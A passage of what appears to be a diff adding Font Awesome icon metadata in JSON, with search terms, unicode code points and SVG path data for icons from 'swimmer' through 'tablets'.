0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z" + } + }, + "free": [ + "brands" + ] + }, + "swimmer": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "athlete", + "head", + "man", + "olympics", + "person", + "pool", + "water" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c4", + "label": "Swimmer", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635736, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z" + } + }, + "free": [ + "solid" + ] + }, + "swimming-pool": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "ladder", + "recreation", + "swim", + "water" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5c5", + "label": "Swimming Pool", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635736, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z" + } + }, + "free": [ + "solid" + ] + }, + "symfony": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f83d", + "label": "Symfony", + "svg": { + "brands": { + "last_modified": 1558987775920, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z" + } + }, + "free": [ + "brands" + ] + }, + "synagogue": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "jewish", + "judaism", + "religion", + "star of david", + "temple" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f69b", + "label": "Synagogue", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635738, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z" + } + }, + "free": [ + "solid" + ] + }, + "sync": { + "changes": [ + "1", + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "exchange", + "refresh", + "reload", + "rotate", + "swap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f021", + "label": "Sync", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635739, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z" + } + }, + "free": [ + "solid" + ] + }, + "sync-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "exchange", + "refresh", + "reload", + "rotate", + "swap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2f1", + "label": "Alternate Sync", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635738, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z" + } + }, + "free": [ + "solid" + ] + }, + "syringe": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "doctor", + "immunizations", + "medical", + "needle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f48e", + "label": "Syringe", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635739, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z" + } + }, + "free": [ + "solid" + ] + }, + "table": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "data", + "excel", + "spreadsheet" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ce", + "label": "table", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635740, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z" + } + }, + "free": [ + "solid" + ] + }, + "table-tennis": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [ + "ball", + "paddle", + "ping pong" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f45d", + "label": "Table Tennis", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635739, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z" + } + }, + "free": [ + "solid" + ] + }, + "tablet": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "apple", + "device", + "ipad", + "kindle", + "screen" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f10a", + "label": "tablet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635741, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "tablet-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "apple", + "device", + "ipad", + "kindle", + "screen" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3fa", + "label": "Alternate Tablet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635740, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z" + } + }, + "free": [ + "solid" + ] + }, + "tablets": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "drugs", + "medicine", + "pills", + "prescription" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f490", + "label": "Tablets", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635741, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 